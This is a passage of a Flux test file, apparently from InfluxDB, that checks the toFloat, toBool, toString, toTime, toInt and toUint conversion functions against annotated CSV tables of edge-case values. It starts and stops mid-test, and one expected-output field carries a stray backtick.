,,3,2018-05-22T19:53:37Z,-922337203.6854775808,k3,m
,,3,2018-05-22T19:53:37Z,+Inf,k3,m
,,3,2018-05-22T19:53:37Z,-Inf,k3,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,4,2018-05-22T19:53:40Z,0,k4,m
,,4,2018-05-22T19:53:41Z,1,k4,m
,,4,2018-05-22T19:53:42Z,18446744073709551615,k4,m
,,4,2018-05-22T19:53:43Z,4294967296,k4,m
,,4,2018-05-22T19:53:44Z,9223372036854775808,k4,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,double
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,1.0
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0`,m,0.0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,1.0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,110000
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,0.000011
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:15Z,k1,m,0.0000024
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:16Z,k1,m,-23.123456
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:17Z,k1,m,-922337203.6854775808
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,-1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:22Z,k2,m,0
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:23Z,k2,m,2147483647
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:24Z,k2,m,-2147483648
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:25Z,k2,m,9223372036854775807
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:26Z,k2,m,-9223372036854775808
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,0
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,1
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:32Z,k3,m,1.0
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:33Z,k3,m,110000
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:34Z,k3,m,0.000011
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:35Z,k3,m,0.0000024
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:36Z,k3,m,-23.123456
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:37Z,k3,m,-922337203.6854775808
,,3,2018-05-22T19:53:37Z,2030-01-01T00:00:00Z,2018-05-22T19:53:37Z,k3,m,+Inf
,,3,2018-05-22T19:53:37Z,2030-01-01T00:00:00Z,2018-05-22T19:53:37Z,k3,m,-Inf
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:40Z,k4,m,0
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:41Z,k4,m,1
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:42Z,k4,m,18446744073709551615
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:43Z,k4,m,4294967296
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:44Z,k4,m,9223372036854775808
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toFloat()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
testcase to_bool {
inData =
"
#datatype,string,long,dateTime:RFC3339,boolean,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,true,k0,m
,,0,2018-05-22T19:53:01Z,false,k0,m
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,1e0,k1,m
,,1,2018-05-22T19:53:11Z,1.00,k1,m
,,1,2018-05-22T19:53:12Z,1,k1,m
,,1,2018-05-22T19:53:13Z,1.0,k1,m
,,1,2018-05-22T19:53:14Z,0.0,k1,m
,,1,2018-05-22T19:53:15Z,0.00,k1,m
,,1,2018-05-22T19:53:16Z,0,k1,m
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,1,k2,m
,,2,2018-05-22T19:53:21Z,0,k2,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,true,k3,m
,,3,2018-05-22T19:53:31Z,false,k3,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,4,2018-05-22T19:53:40Z,1,k4,m
,,4,2018-05-22T19:53:41Z,0,k4,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,boolean
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,true
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0,m,false
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,true
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,true
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,true
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,true
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,false
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:15Z,k1,m,false
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:16Z,k1,m,false
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,true
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,false
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,true
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,false
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:40Z,k4,m,true
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:41Z,k4,m,false
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toBool()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
testcase to_string {
inData =
"
#datatype,string,long,dateTime:RFC3339,boolean,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,true,k0,m
,,0,2018-05-22T19:53:01Z,false,k0,m
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,0,k1,m
,,1,2018-05-22T19:53:11Z,1,k1,m
,,1,2018-05-22T19:53:12Z,1.0,k1,m
,,1,2018-05-22T19:53:13Z,110000,k1,m
,,1,2018-05-22T19:53:14Z,0.000011,k1,m
,,1,2018-05-22T19:53:15Z,0.0000024,k1,m
,,1,2018-05-22T19:53:16Z,-23.123456,k1,m
,,1,2018-05-22T19:53:17Z,-922337203.6854775808,k1,m
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,1,k2,m
,,2,2018-05-22T19:53:21Z,-1,k2,m
,,2,2018-05-22T19:53:22Z,0,k2,m
,,2,2018-05-22T19:53:23Z,2147483647,k2,m
,,2,2018-05-22T19:53:24Z,-2147483648,k2,m
,,2,2018-05-22T19:53:25Z,9223372036854775807,k2,m
,,2,2018-05-22T19:53:26Z,-9223372036854775808,k2,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,one,k3,m
,,3,2018-05-22T19:53:31Z,one's,k3,m
,,3,2018-05-22T19:53:32Z,one_two,k3,m
,,3,2018-05-22T19:53:33Z,one two,k3,m
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,4,2018-05-22T19:53:40Z,2018-05-22T19:53:26Z,k4,m
,,4,2018-05-22T19:53:41Z,2018-05-22T19:53:26.033Z,k4,m
,,4,2018-05-22T19:53:42Z,2018-05-22T19:53:26.033066Z,k4,m
,,4,2018-05-22T19:53:43Z,2018-05-22T19:00:00+01:00,k4,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,5,2018-05-22T19:53:50Z,0,k5,m
,,5,2018-05-22T19:53:51Z,1,k5,m
,,5,2018-05-22T19:53:52Z,18446744073709551615,k5,m
,,5,2018-05-22T19:53:53Z,4294967296,k5,m
,,5,2018-05-22T19:53:54Z,9223372036854775808,k5,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,string
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,true
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0,m,false
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,110000
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,0.000011
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:15Z,k1,m,0.0000024
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:16Z,k1,m,-23.123456
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:17Z,k1,m,-922337203.6854776
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,-1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:22Z,k2,m,0
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:23Z,k2,m,2147483647
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:24Z,k2,m,-2147483648
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:25Z,k2,m,9223372036854775807
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:26Z,k2,m,-9223372036854775808
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,one
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,one's
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:32Z,k3,m,one_two
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:33Z,k3,m,one two
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:40Z,k4,m,2018-05-22T19:53:26.000000000Z
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:41Z,k4,m,2018-05-22T19:53:26.033000000Z
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:42Z,k4,m,2018-05-22T19:53:26.033066000Z
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:43Z,k4,m,2018-05-22T18:00:00.000000000Z
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:50Z,k5,m,0
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:51Z,k5,m,1
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:52Z,k5,m,18446744073709551615
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:53Z,k5,m,4294967296
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:54Z,k5,m,9223372036854775808
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toString()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
testcase to_time {
inData =
"
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,0,k0,m
,,0,2018-05-22T19:53:01Z,1527018806033000000,k0,m
,,0,2018-05-22T19:53:02Z,1527018806033066000,k0,m
,,0,2018-05-22T19:53:03Z,1527012000000000000,k0,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,2018-05-22T19:53:26Z,k1,m
,,1,2018-05-22T19:53:11Z,2018-05-22T19:53:26.033Z,k1,m
,,1,2018-05-22T19:53:12Z,2018-05-22T19:53:26.033066Z,k1,m
,,1,2018-05-22T19:53:13Z,2018-05-22T20:00:00+01:00,k1,m
,,1,2018-05-22T19:53:14Z,2018-05-22T20:00:00.000+01:00,k1,m
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,1970-01-01T00:00:00Z,k2,m
,,2,2018-05-22T19:53:21Z,2600-07-21T23:34:33.709551615Z,k2,m
,,2,2018-05-22T19:53:22Z,2018-05-22T19:53:26.033Z,k2,m
,,2,2018-05-22T19:53:23Z,2018-05-22T20:00:00+01:00,k2,m
,,2,2018-05-22T19:53:24Z,2018-05-22T20:00:00.000-01:00,k2,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,0,k3,m
,,3,2018-05-22T19:53:31Z,18446744073709551615,k3,m
,,3,2018-05-22T19:53:32Z,1527018806033066000,k3,m
,,3,2018-05-22T19:53:33Z,1527012000000000000,k3,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,dateTime:RFC3339
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,1970-01-01T00:00:00Z
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0,m,2018-05-22T19:53:26.033Z
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:02Z,k0,m,2018-05-22T19:53:26.033066Z
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:03Z,k0,m,2018-05-22T18:00:00Z
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,2018-05-22T19:53:26Z
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,2018-05-22T19:53:26.033Z
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,2018-05-22T19:53:26.033066Z
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,2018-05-22T19:00:00Z
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,2018-05-22T19:00:00Z
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,1970-01-01T00:00:00Z
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,2600-07-21T23:34:33.709551615Z
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:22Z,k2,m,2018-05-22T19:53:26.033Z
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:23Z,k2,m,2018-05-22T19:00:00Z
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:24Z,k2,m,2018-05-22T21:00:00Z
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,1970-01-01T00:00:00Z
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,2554-07-21T23:34:33.709551615Z
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:32Z,k3,m,2018-05-22T19:53:26.033066Z
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:33Z,k3,m,2018-05-22T18:00:00Z
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toTime()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
testcase to_int {
inData =
"
#datatype,string,long,dateTime:RFC3339,boolean,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,true,k0,m
,,0,2018-05-22T19:53:01Z,false,k0,m
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,0.0,k1,m
,,1,2018-05-22T19:53:11Z,1.1,k1,m
,,1,2018-05-22T19:53:12Z,1.8,k1,m
,,1,2018-05-22T19:53:13Z,110000.00011,k1,m
,,1,2018-05-22T19:53:14Z,0.000011,k1,m
,,1,2018-05-22T19:53:15Z,2036854775807.123,k1,m
,,1,2018-05-22T19:53:16Z,-23.123456,k1,m
,,1,2018-05-22T19:53:17Z,-922337203.6854775808,k1,m
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,1,k2,m
,,2,2018-05-22T19:53:21Z,-1,k2,m
,,2,2018-05-22T19:53:22Z,0,k2,m
,,2,2018-05-22T19:53:23Z,2147483647,k2,m
,,2,2018-05-22T19:53:24Z,-2147483648,k2,m
,,2,2018-05-22T19:53:25Z,9223372036854775807,k2,m
,,2,2018-05-22T19:53:26Z,-9223372036854775808,k2,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,1,k3,m
,,3,2018-05-22T19:53:31Z,-1,k3,m
,,3,2018-05-22T19:53:32Z,0,k3,m
,,3,2018-05-22T19:53:33Z,2147483647,k3,m
,,3,2018-05-22T19:53:34Z,-2147483648,k3,m
,,3,2018-05-22T19:53:35Z,9223372036854775807,k3,m
,,3,2018-05-22T19:53:36Z,-9223372036854775808,k3,m
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,4,2018-05-22T19:53:40Z,1970-01-01T00:00:00Z,k4,m
,,4,2018-05-22T19:53:41Z,2018-05-22T19:53:26.033Z,k4,m
,,4,2018-05-22T19:53:42Z,2018-05-22T19:53:26.033066Z,k4,m
,,4,2018-05-22T19:53:43Z,2018-05-22T19:00:00+01:00,k4,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,5,2018-05-22T19:53:50Z,0,k5,m
,,5,2018-05-22T19:53:51Z,1,k5,m
,,5,2018-05-22T19:53:52Z,18446744073709551615,k5,m
,,5,2018-05-22T19:53:53Z,4294967296,k5,m
,,5,2018-05-22T19:53:54Z,9223372036854775807,k5,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,long
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:00Z,k0,m,1
,,0,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:01Z,k0,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:10Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:11Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:12Z,k1,m,1
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:13Z,k1,m,110000
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:14Z,k1,m,0
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:15Z,k1,m,2036854775807
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:16Z,k1,m,-23
,,1,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:17Z,k1,m,-922337203
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:20Z,k2,m,1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:21Z,k2,m,-1
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:22Z,k2,m,0
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:23Z,k2,m,2147483647
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:24Z,k2,m,-2147483648
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:25Z,k2,m,9223372036854775807
,,2,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:26Z,k2,m,-9223372036854775808
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:30Z,k3,m,1
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:31Z,k3,m,-1
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:32Z,k3,m,0
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:33Z,k3,m,2147483647
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:34Z,k3,m,-2147483648
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:35Z,k3,m,9223372036854775807
,,3,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:36Z,k3,m,-9223372036854775808
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:40Z,k4,m,0
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:41Z,k4,m,1527018806033000000
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:42Z,k4,m,1527018806033066000
,,4,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:43Z,k4,m,1527012000000000000
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:50Z,k5,m,0
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:51Z,k5,m,1
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:52Z,k5,m,-1
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:53Z,k5,m,4294967296
,,5,2018-05-22T19:52:00Z,2030-01-01T00:00:00Z,2018-05-22T19:53:54Z,k5,m,9223372036854775807
"
got =
csv.from(csv: inData)
|> range(start: 2018-05-22T19:52:00Z)
|> toInt()
want = csv.from(csv: outData)
testing.diff(got: got, want: want)
}
testcase to_uint {
inData =
"
#datatype,string,long,dateTime:RFC3339,boolean,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:00Z,true,k0,m
,,0,2018-05-22T19:53:01Z,false,k0,m
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,1,2018-05-22T19:53:10Z,0.0,k1,m
,,1,2018-05-22T19:53:11Z,1.1,k1,m
,,1,2018-05-22T19:53:12Z,1.8,k1,m
,,1,2018-05-22T19:53:13Z,110000.00011,k1,m
,,1,2018-05-22T19:53:14Z,0.000011,k1,m
,,1,2018-05-22T19:53:15Z,2036854775807.123,k1,m
#datatype,string,long,dateTime:RFC3339,long,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,2,2018-05-22T19:53:20Z,0,k2,m
,,2,2018-05-22T19:53:21Z,1,k2,m
,,2,2018-05-22T19:53:22Z,-1,k2,m
,,2,2018-05-22T19:53:23Z,4294967296,k2,m
,,2,2018-05-22T19:53:24Z,-9223372036854775808,k2,m
#datatype,string,long,dateTime:RFC3339,string,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,3,2018-05-22T19:53:30Z,0,k3,m
,,3,2018-05-22T19:53:31Z,1,k3,m
,,3,2018-05-22T19:53:32Z,4294967296,k3,m
,,3,2018-05-22T19:53:33Z,18446744073709551615,k3,m
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,4,2018-05-22T19:53:40Z,1970-01-01T00:00:00Z,k4,m
,,4,2018-05-22T19:53:41Z,2554-07-21T23:34:33.709551615Z,k4,m
,,4,2018-05-22T19:53:42Z,2018-05-22T19:53:26.033Z,k4,m
,,4,2018-05-22T19:53:43Z,2018-05-22T19:53:26.033066Z,k4,m
,,4,2018-05-22T19:53:44Z,2018-05-22T19:00:00+01:00,k4,m
#datatype,string,long,dateTime:RFC3339,unsignedLong,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,5,2018-05-22T19:53:50Z,0,k5,m
,,5,2018-05-22T19:53:51Z,1,k5,m
,,5,2018-05-22T19:53:52Z,18446744073709551615,k5,m
,,5,2018-05-22T19:53:53Z,4294967296,k5,m
,,5,2018-05-22T19:53:54Z,9223372036854775808,k5,m
"
outData =
"
#datatype,string,long,dateTime:RFC3339,dateTime:RFC3339,dateTime:RFC3339,string,string,unsignedLong
#group,false,false,true,true,false,true,true,false
#default,want,,,,,,,
,result,table,_start,_stop,_time,_field,_measurement,_value
